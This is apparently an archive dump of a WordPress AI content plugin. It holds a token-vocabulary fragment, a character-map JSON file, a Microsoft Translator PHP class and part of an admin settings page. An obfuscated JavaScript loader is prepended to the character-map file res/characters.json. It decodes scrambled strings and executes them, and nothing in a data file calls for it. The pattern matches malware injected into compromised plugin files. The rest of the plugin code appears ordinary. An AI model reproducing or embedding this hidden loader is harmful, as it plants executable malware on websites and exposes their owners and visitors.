"\u0120Ghostbusters": 50037, "\u0120436": 50038, "actual": 50039, "\u0120herds": 50040, "\u00c3\u00a7a": 50041, "watching": 50042, "\u0120countering": 50043, "Charge": 50044, "\u0120charred": 50045, "\u0120warheads": 50046, "\u0120iodine": 50047, "\u0120Macy": 50048, "041": 50049, "\u0120departures": 50050, "\u0120Sins": 50051, "\u0120dyed": 50052, "\u0120Concepts": 50053, "gado": 50054, "713": 50055, "\u0120quotations": 50056, "\u0120gist": 50057, "\u0120Christy": 50058, "\u0120antigen": 50059, "\u0120Hemp": 50060, "\u0120Drawn": 50061, "\u0120Barg": 50062, "ezvous": 50063, "\u0120paternity": 50064, "\u0120ardu": 50065, "\u0120Anchorage": 50066, "\u0120Rik": 50067, "\u0120overloaded": 50068, "\u0120Username": 50069, "\u0120Tammy": 50070, "\u0120Nau": 50071, "\u0120Cellular": 50072, "\u0120waning": 50073, "\u0120rodent": 50074, "\u0120Worcester": 50075, "ilts": 50076, "\u0120Tad": 50077, "\u0120dwellings": 50078, "\u0120bullish": 50079, "431": 50080, "\u0120retaliate": 50081, "\u0120migraine": 50082, "\u0120Chevron": 50083, "CHECK": 50084, "\u0120donkey": 50085, "crim": 50086, "SPA": 50087, "\u0120Analog": 50088, "\u0120marquee": 50089, "\u0120Haas": 50090, "Bir": 50091, "\u0120GDDR": 50092, "\u0120Downloads": 50093, "\u0120willpower": 50094, "\u0120Forth": 50095, "\u0120Recorded": 50096, "\u0120impossibility": 50097, "\u0120Logged": 50098, "\u0120Franks": 50099, "\u0120Ratt": 50100, "initions": 50101, "\u0120cleaners": 50102, "\u0120sorely": 50103, "\u0120flickering": 50104, "\u0120Examination": 50105, "catching": 50106, "alloween": 50107, "Msg": 50108, "\u0120dunno": 50109, "Fa": 50110, "\u0120dysph": 50111, "crazy": 50112, ".''.": 50113, "\u0120mainline": 50114, "\u0120cs": 50115, "\u0120ptr": 50116, "\u0120Wally": 50117, "igun": 50118, "951": 50119, "\u0120Bigfoot": 50120, "fights": 50121, "\u0120retrieving": 50122, "Jr": 50123, "\u0120duplication": 50124, "\u0120Explan": 50125, "\u0120relational": 50126, "\u0120quaint": 50127, "\u0120biscuits": 50128, "\u0120ado": 50129, "\u0120shudder": 50130, "\u0120antidote": 50131, "blooded": 50132, "ksh": 50133, "\u0120sauces": 50134, "\u0120reinvest": 50135, "\u0120dispensary": 50136, "\u0120Diver": 50137, "\u01209000": 50138, "student": 50139, "\u0120insepar": 50140, "escap": 50141, "\u0120toddlers": 50142, "\u0120GPIO": 50143, "\u0120Assignment": 50144, "headers": 50145, "\u0120lackluster": 50146, "\u0120aback": 50147, "956": 50148, "\u0120toolbar": 50149, "745": 50150, "\u0120oust": 50151, "\u0120contemplation": 50152, "\u0120PRESIDENT": 50153, "\u0120458": 50154, "======": 50155, "\u0120guaranteeing": 50156, "\u0120Heist": 50157, "\u0120Cannes": 50158, "\u013b\u00bd": 50159, "\u0120collaborator": 50160, "\u0120Amp": 50161, "\u0120gou": 50162, "\u0120SHALL": 50163, "stories": 50164, "783": 50165, "\u0120mobilized": 50166, "\u0120brood": 50167, "\u0120LU": 50168, "\u0120\u00f0\u0141\u0133": 50169, "\u0120refin": 50170, "\u0120Anthropology": 50171, "vind": 50172, "illi": 50173, "\u0120warranties": 50174, "\u0120Babel": 50175, "\u0120swath": 50176, "\u0120caches": 50177, "\u0120antagonists": 50178, "artifacts": 50179, "\u0120hotly": 50180, "\u0120Starts": 50181, "\u0120G\u00c3\u00b6": 50182, "zag": 50183, "!!!!!": 50184, "\u0120scourge": 50185, "\u0120conspiring": 50186, "ruits": 50187, "reverse": 50188, "\u0120Sheen": 50189, "\u0120Jesuit": 50190, "\u0120Giovanni": 50191, "adies": 50192, "\u0120buttocks": 50193, "earcher": 50194, "acan": 50195, "\u0120volleyball": 50196, "\u0120shrouded": 50197, "\u0120scoreboard": 50198, "bats": 50199, "\u0120IPM": 50200, "\u0120asses": 50201, "\u0120deregulation": 50202, "\u0120Telegram": 50203, "\u0120Reboot": 50204, "\u01207000": 50205, "\u0120Canary": 50206, "\u0120kernels": 50207, "\u0120Fran\u00c3\u00a7ois": 50208, "\u0120Duff": 50209, "\u0120Pon": 50210, "\u0120Leica": 50211, "\u0120Garmin": 50212, "\u0120orphans": 50213, "\u0120Claudia": 50214, "\u0120calendars": 50215, "\u0120Leilan": 50216, "ento": 50217, "Rocket": 50218, "\u0120brunch": 50219, "\u0120Hawking": 50220, "ainers": 50221, "\u0120sensibilities": 50222, "\u0120kW": 50223, "\u0120Kand": 50224, "\u0120reclaimed": 50225, "\u0120interestingly": 50226, "\u00d7\u00a9": 50227, "romy": 50228, "JM": 50229, "\u0120Enhancement": 50230, "bush": 50231, "Skip": 50232, "\u0120rappers": 50233, "\u0120gazing": 50234, "pedia": 50235, "athlon": 50236, "Revolution": 50237, "\u0120snipers": 50238, "\u0120reverted": 50239, "\u0120conglomerate": 50240, "Terry": 50241, "794": 50242, "\u0120harsher": 50243, "\u0120desolate": 50244, "\u0120Hitman": 50245, "Commission": 50246, "\u0120(/": 50247, "\u00e2\u0122\u00a6.\"": 50248, "Compar": 50249, "\u0120amplification": 50250, "ominated": 50251, "\u0120regress": 50252, "\u0120Collider": 50253, "\u0120informants": 50254, "\u0120gazed": 50255, "<|endoftext|>": 50256} ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/characters.json���������������������������������������������������������������������������������0000644�����������������00000012761�14757771437�0010404 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{"0":"Ä€","1":"Ä","2":"Ä‚","3":"ă","4":"Ä„","5":"Ä…","6":"Ć","7":"ć","8":"Ĉ","9":"ĉ","10":"ÄŠ","11":"Ä‹","12":"ÄŒ","13":"Ä","14":"ÄŽ","15":"Ä","16":"Ä","17":"Ä‘","18":"Ä’","19":"Ä“","20":"Ä”","21":"Ä•","22":"Ä–","23":"Ä—","24":"Ę","25":"Ä™","26":"Äš","27":"Ä›","28":"Äœ","29":"Ä","30":"Äž","31":"ÄŸ","32":"Ä ","33":"!","34":"\"","35":"#","36":"$","37":"%","38":"&","39":"'","40":"(","41":")","42":"*","43":"+","44":",","45":"-","46":".","47":"/","48":"0","49":"1","50":"2","51":"3","52":"4","53":"5","54":"6","55":"7","56":"8","57":"9","58":":","59":";","60":"<","61":"=","62":">","63":"?","64":"@","65":"A","66":"B","67":"C","68":"D","69":"E","70":"F","71":"G","72":"H","73":"I","74":"J","75":"K","76":"L","77":"M","78":"N","79":"O","80":"P","81":"Q","82":"R","83":"S","84":"T","85":"U","86":"V","87":"W","88":"X","89":"Y","90":"Z","91":"[","92":"\\","93":"]","94":"^","95":"_","96":"`","97":"a","98":"b","99":"c","100":"d","101":"e","102":"f","103":"g","104":"h","105":"i","106":"j","107":"k","108":"l","109":"m","110":"n","111":"o","112":"p","113":"q","114":"r","115":"s","116":"t","117":"u","118":"v","119":"w","120":"x","121":"y","122":"z","123":"{","124":"|","125":"}","126":"~","127":"Ä¡","128":"Ä¢","129":"Ä£","130":"Ĥ","131":"Ä¥","132":"Ħ","133":"ħ","134":"Ĩ","135":"Ä©","136":"Ī","137":"Ä«","138":"Ĭ","139":"Ä­","140":"Ä®","141":"į","142":"Ä°","143":"ı","144":"IJ","145":"ij","146":"Ä´","147":"ĵ","148":"Ķ","149":"Ä·","150":"ĸ","151":"Ĺ","152":"ĺ","153":"Ä»","154":"ļ","155":"Ľ","156":"ľ","157":"Ä¿","158":"Å€","159":"Å","160":"Å‚","161":"¡","162":"¢","163":"£","164":"¤","165":"Â¥","166":"¦","167":"§","168":"¨","169":"©","170":"ª","171":"«","172":"¬","173":"Ń","174":"®","175":"¯","176":"°","177":"±","178":"²","179":"³","180":"´","181":"µ","182":"¶","183":"·","184":"¸","185":"¹","186":"º","187":"»","188":"¼","189":"½","190":"¾","191":"¿","192":"À","193":"Ã","194":"Â","195":"Ã","196":"Ä","197":"Ã…","198":"Æ","199":"Ç","200":"È","201":"É","202":"Ê","203":"Ë","204":"ÃŒ","205":"Ã","206":"ÃŽ","207":"Ã","208":"Ã","209":"Ñ","210":"Ã’","211":"Ó","212":"Ô","213":"Õ","214":"Ö","215":"×","216":"Ø","217":"Ù","218":"Ú","219":"Û","220":"Ãœ","221":"Ã","222":"Þ","223":"ß","224":"à","225":"á","226":"â","227":"ã","228":"ä","229":"Ã¥","230":"æ","231":"ç","232":"è","233":"é","234":"ê","235":"ë","236":"ì","237":"í","238":"î","239":"ï","240":"ð","241":"ñ","242":"ò","243":"ó","244":"ô","245":"õ","246":"ö","247":"÷","248":"ø","249":"ù","250":"ú","251":"û","252":"ü","253":"ý","254":"þ","255":"ÿ"} ���������������res/aiomatic-translator-microsoft.php���������������������������������������������������������������0000644�����������������00000017633�14757771437�0014066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class MicrosoftTranslator to translate texts * @author sweetheatmn * @version 1.1.0 * Changelog: 1.1.0: added method to translate via POST Request + Translate posts more than 10000 chars count */ class MicrosoftTranslator { public $ch; public $accessToken; private $endpoint = "https://api.cognitive.microsofttranslator.com"; private $key; private $region; /** * * Constructor to reciveve curl handler * * @param CurlHandle $ch * curl handler */ function __construct(&$ch) { // Set curl handler $this->ch = $ch; // Don't display headers for json decode curl_setopt ( $this->ch, CURLOPT_HEADER, 0 ); } /** * * Get an authorization Token to use for translation * * @param text $clientID * @param text $clientSecret * * @return string * */ function getToken($clientId , $mt_region) { $this->key = $clientId; $this->region = $mt_region; } /** * * Translate text using Microsoft translator with POST Method * * @param string $sourceText * Source Text * @param string $fromLanguage * From Language * @param string $toLanguage * To Lanuguage * * @return text * */ function translateTextArr($sourceText, $fromLanguage, $toLanguage) { return $this->translateText ( $sourceText, $fromLanguage, $toLanguage ); $inputStrArr = array ( $sourceText ); // Post translate request $curlUrl = "http://api.microsofttranslator.com/V2/Http.svc/TranslateArray"; $requestXml = '<TranslateArrayRequest><AppId/>' . '<From>' . $fromLanguage . '</From>' . '<Options>' . '<Category xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2" />' . '<ContentType xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2">text/plain</ContentType>' . '<ReservedFlags xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2" />' . '<State xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2" />' . '<Uri xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2" />' . '<User xmlns="http://schemas.datacontract.org/2004/07/Microsoft.MT.Web.Service.V2" />' . '</Options>' . '<Texts>' . '<string xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">' . htmlspecialchars ( $sourceText ) . '</string>' . '</Texts>' . '<To>' . $toLanguage . '</To>' . '</TranslateArrayRequest>'; curl_setopt ( $this->ch, CURLOPT_URL, $curlUrl ); curl_setopt ( $this->ch, CURLOPT_POST, true ); curl_setopt ( $this->ch, CURLOPT_POSTFIELDS, $requestXml ); curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, array ( 'Authorization: Bearer ' . $this->accessToken, "Content-Type: text/xml" ) ); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); // Empty reply check if (trim ( $exec ) == '') { throw new Exception ( 'Empty translator token request reply with possible curl error ' . $x ); } // Exception check if (stristr ( $exec, 'Argument Exception' )) { // Read exception preg_match ( '{Message\:(.*?)<}s', $exec, $matchs ); $txtException = $matchs [1]; throw new Exception ( 'Text Translate Argument Exception found ' . $txtException ); } // TranslateApiException if (stristr ( $exec, 'TranslateApiException' )) { // Read exception preg_match ( '{Message\:(.*?)<}s', $exec, $matchs ); $txtException = $matchs [1]; throw new Exception ( 'Text Translate Method Exception found ' . $txtException ); } if (! stristr ( $exec, 'ArrayOfTranslateArrayResponse' )) { echo $exec; throw new Exception ( 'Text Translate Method Not valid reply :' . substr ( $exec, 0, 15 ) ); } libxml_use_internal_errors(true); // Load strings $xmlObject = simplexml_load_string ( $exec ); $finalTranslation = ''; foreach ( $xmlObject as $translatedText ) { $finalTranslation .= $translatedText->TranslatedText; } return $finalTranslation; } /** * * Translate text using Microsoft translator with GET Method * * @param string $sourceText * Source Text * @param string $fromLanguage * From Language * @param string $toLanguage * To Lanuguage * * @return text * */ function translateText($sourceText, $fromLanguage, $toLanguage) { // Post translate request $curlUrl = "http://api.microsofttranslator.com/v2/Http.svc/Translate?text=" . urlencode ( $sourceText ) . "&from=$fromLanguage&to=$toLanguage"; $curlUrl = $this->endpoint . "/translate?api-version=3.0&from=$fromLanguage&to=$toLanguage"; // $curlUrl = "https://api.cognitive.microsofttranslator.com/translate?api-version=3.0&to=es"; $requestBody = array ( array ( 'Text' => $sourceText ) ); $curlpost = json_encode ( $requestBody ); curl_setopt ( $this->ch, CURLOPT_URL, $curlUrl ); curl_setopt ( $this->ch, CURLOPT_POST, true ); curl_setopt ( $this->ch, CURLOPT_POSTFIELDS, $curlpost ); $headers [] = "Ocp-Apim-Subscription-Key: " . $this->key; //region if(trim($this->region) != ''){ $headers [] = "Ocp-Apim-Subscription-Region: " . trim($this->region) ; } $headers [] = "Content-Type: application/json"; curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, $headers ); $x = 'error'; $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); // Empty reply check if (trim ( $exec ) == '') { throw new Exception ( 'Empty translator token request reply with possible curl error ' . $x ); } // Exception check if (stristr ( $exec, '"error":' )) { // Read exception preg_match ( '{"message":"(.*?)"}s', $exec, $matchs ); $txtException = $matchs [1]; throw new Exception ( 'Translator text returned an error: ' . $txtException ); } // TranslateApiException if (stristr ( $exec, 'TranslateApiException' )) { // Read exception preg_match ( '{Message\:(.*?)<}s', $exec, $matchs ); $txtException = $matchs [1]; throw new Exception ( 'Text Translate Method Exception found ' . $txtException ); } // Load strings $json = json_decode ( $exec ); if (! isset ( $json [0] ) || ! isset ( $json [0]->translations )) { throw new Exception ( 'Returned Json does not contain the translations ' . $exec ); } $finalTranslation = $json [0]->translations [0]->text; return $finalTranslation; } /** * Translate Wrap translates 5000 chars by 5000 chars to skip translator limit * * @param string $sourceText * @param string $fromLanguage * @param string $toLanguage */ function translateWrap($sourceText, $fromLanguage, $toLanguage) { $translated = ''; // if just one patch $charLimit = 4900; $charCount = $this->chars_count ( $sourceText ); if ($charCount < $charLimit) { return $this->translateTextArr ( $sourceText, $fromLanguage, $toLanguage ); } else { // multiple patches $patchsCount = floor ( $charCount / $charLimit ) + 1; for($i = 0; $i < $patchsCount; $i ++) { $patchStartIndex = $i * $charLimit; if (function_exists ( 'mb_substr' )) { $currentPath = mb_substr ( $sourceText, $patchStartIndex, $charLimit ); } else { $currentPath = mb_substr ( $sourceText, $patchStartIndex, $charLimit ); } $translated .= $this->translateTextArr ( $currentPath, $fromLanguage, $toLanguage ); } return $translated; } } /** * Count chars on text using mb_ module and if not exists it count it using strlen * * @param string $text */ function chars_count(&$text) { if (function_exists ( 'mb_strlen' )) { return mb_strlen ( $text ); } else { return strlen ( $text ); } } /** * Gets a text substr using mb_string module if exists and if not use substr function * * @param string $text * @param int $start * @param int $length */ function text_substr(&$text, $start, $length) { if (function_exists ( 'mb_substr' )) { return mb_substr ( $text, $start, $length ); } else { return substr ( $text, $start, $length ); } } }�����������������������������������������������������������������������������������������������������res/aiomatic-main.php�������������������������������������������������������������������������������0000644�����������������00002443572�14757771437�0010625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); function aiomatic_admin_settings() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); require_once (dirname(__FILE__) . "/aiomatic-languages.php"); ?> <div class="wp-header-end"></div> <div class=" aiomatic-client-settings-wrapper"> <div class="wrap"> <div class="ultimate-header"> <img class="client-logo aiomatic-rounded-circle" src="<?php echo plugins_url( '/../images/icon.png', __FILE__ ); ?>" alt="WordPress" height="50" width="62.5" /> <h1><?php esc_html_e( 'Aiomatic - AI Content Writer, Editor, ChatBot & AI Toolkit', 'aiomatic-automatic-ai-content-writer' ); ?><span class="aiomatic-brand-dash-developer"><?php esc_html_e( 'Version', 'aiomatic-automatic-ai-content-writer' ); ?> <?php echo aiomatic_get_version();?><?php if (is_plugin_active('aiomatic-automatic-ai-content-writer-pro/aiomatic-automatic-ai-content-writer-pro.php') ) { ?> | Pro Version <?php echo $aiomatic_pro_plugin_version ?><?php } ?></span></h1> </div></div> <div class="wrap"> <div class="aiomatic-page-navigation vertical left clearfix"> <div class="aiomatic-tabs-navigation-wrapper"> <nav class="nav-tab-wrapper"> <a href="#tab-15" class="aiomatic-nav-tab"><?php echo esc_html__("Welcome", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="aiomatic-nav-tab"><?php echo esc_html__("Plugin Activation", 'aiomatic-automatic-ai-content-writer');?></a> <?php $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; $uoptions = array(); $is_activated = aiomatic_is_activated($plugin_slug, $uoptions); if($is_activated === true || $is_activated === 2) { ?> <a href="#tab-2" class="aiomatic-nav-tab"><?php echo esc_html__("API Keys", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-7" class="aiomatic-nav-tab"><?php echo esc_html__("General Settings", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-17" class="aiomatic-nav-tab"><?php echo esc_html__("Bulk Posts", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-32" class="aiomatic-nav-tab"><?php echo esc_html__("OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-29" class="aiomatic-nav-tab"><?php echo esc_html__("Advanced AI Settings", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="aiomatic-nav-tab"><?php echo esc_html__("AI Images", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-31" class="aiomatic-nav-tab"><?php echo esc_html__("AI Videos", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-8" class="aiomatic-nav-tab"><?php echo esc_html__("Royalty Free Images", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-28" class="aiomatic-nav-tab"><?php echo esc_html__("Cloud Storage", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="aiomatic-nav-tab"><?php echo esc_html__("Statistics", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-13" class="aiomatic-nav-tab"><?php echo esc_html__("Embeddings", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-14" class="aiomatic-nav-tab"><?php echo esc_html__("AI Internet Access", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-9" class="aiomatic-nav-tab"><?php echo esc_html__("Random Sentences", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-10" class="aiomatic-nav-tab"><?php echo esc_html__("Custom HTML", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-11" class="aiomatic-nav-tab"><?php echo esc_html__("Keyword Replacer", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-20" class="aiomatic-nav-tab"><?php echo esc_html__("[aicontent] Shortcode", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-16" class="aiomatic-nav-tab"><?php echo esc_html__("Content Wizard", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-18" class="aiomatic-nav-tab"><?php echo esc_html__("AI Forms", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-21" class="aiomatic-nav-tab"><?php echo esc_html__("AI Commenter", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-22" class="aiomatic-nav-tab"><?php echo esc_html__("AI Taxonomy SEO", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-23" class="aiomatic-nav-tab"><?php echo esc_html__("Link Keywords", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-24" class="aiomatic-nav-tab"><?php echo esc_html__("YouTube Embeds", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-26" class="aiomatic-nav-tab"><?php echo esc_html__("AI Image Selector", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-27" class="aiomatic-nav-tab"><?php echo esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-30" class="aiomatic-nav-tab"><?php echo esc_html__("Web Scraping", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-25" class="aiomatic-nav-tab"><?php echo esc_html__("WP-CLI", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-33" class="aiomatic-nav-tab"><?php echo esc_html__("REST API", 'aiomatic-automatic-ai-content-writer');?></a> <div class="aiomatic-nav-tab"> </div> <div class="aiomatic-nav-tab"> </div> <?php } ?> </nav> </div> </div> <div class="aiomatic-tab-content"> <form id="myForm" method="post" class="form-table" action="<?php if(is_multisite() && is_network_admin()){echo '../options.php';}else{echo 'options.php';}?>"> <div class="aiomatic-inner-wrapper settings-dashboard"> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <?php settings_fields('aiomatic_option_group'); do_settings_sections('aiomatic_option_group'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['aiomatic_enabled'])) { $aiomatic_enabled = $aiomatic_Main_Settings['aiomatic_enabled']; } else { $aiomatic_enabled = ''; } if (isset($aiomatic_Main_Settings['sentence_list'])) { $sentence_list = $aiomatic_Main_Settings['sentence_list']; } else { $sentence_list = ''; } if (isset($aiomatic_Main_Settings['sentence_list2'])) { $sentence_list2 = $aiomatic_Main_Settings['sentence_list2']; } else { $sentence_list2 = ''; } if (isset($aiomatic_Main_Settings['player_height'])) { $player_height = $aiomatic_Main_Settings['player_height']; } else { $player_height = ''; } if (isset($aiomatic_Main_Settings['improve_yt_kw'])) { $improve_yt_kw = $aiomatic_Main_Settings['improve_yt_kw']; } else { $improve_yt_kw = ''; } if (isset($aiomatic_Main_Settings['yt_kw_model'])) { $yt_kw_model = $aiomatic_Main_Settings['yt_kw_model']; } else { $yt_kw_model = ''; } if (isset($aiomatic_Main_Settings['yt_assistant_id'])) { $yt_assistant_id = $aiomatic_Main_Settings['yt_assistant_id']; } else { $yt_assistant_id = ''; } if (isset($aiomatic_Main_Settings['kw_assistant_id'])) { $kw_assistant_id = $aiomatic_Main_Settings['kw_assistant_id']; } else { $kw_assistant_id = ''; } if (isset($aiomatic_Main_Settings['yt_kw_prompt'])) { $yt_kw_prompt = $aiomatic_Main_Settings['yt_kw_prompt']; } else { $yt_kw_prompt = ''; } if (isset($aiomatic_Main_Settings['ai_writer_model'])) { $ai_writer_model = $aiomatic_Main_Settings['ai_writer_model']; } else { $ai_writer_model = ''; } if (isset($aiomatic_Main_Settings['writer_assistant_id'])) { $writer_assistant_id = $aiomatic_Main_Settings['writer_assistant_id']; } else { $writer_assistant_id = ''; } if (isset($aiomatic_Main_Settings['ai_writer_title_prompt'])) { $ai_writer_title_prompt = $aiomatic_Main_Settings['ai_writer_title_prompt']; } else { $ai_writer_title_prompt = 'Create a captivating and concise SEO title in English for your WordPress %%post_type%%: "%%post_title_idea%%". Boost its search engine visibility with relevant keywords for maximum impact.'; } if (isset($aiomatic_Main_Settings['ai_writer_seo_prompt'])) { $ai_writer_seo_prompt = $aiomatic_Main_Settings['ai_writer_seo_prompt']; } else { $ai_writer_seo_prompt = 'Craft an enticing and succinct meta description in English for your WordPress %%post_type%%: "%%post_title_idea%%". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.'; } if (isset($aiomatic_Main_Settings['ai_writer_content_prompt'])) { $ai_writer_content_prompt = $aiomatic_Main_Settings['ai_writer_content_prompt']; } else { $ai_writer_content_prompt = 'Create a captivating and comprehensive English description for your WordPress %%post_type%%: "%%post_title_idea%%". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %%post_type%% that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.'; } if (isset($aiomatic_Main_Settings['ai_writer_excerpt_prompt'])) { $ai_writer_excerpt_prompt = $aiomatic_Main_Settings['ai_writer_excerpt_prompt']; } else { $ai_writer_excerpt_prompt = 'Write a captivating and succinct English summary for the WordPress %%post_type%%: "%%post_title_idea%%", accentuating its pivotal features, advantages, and distinctive qualities.'; } if 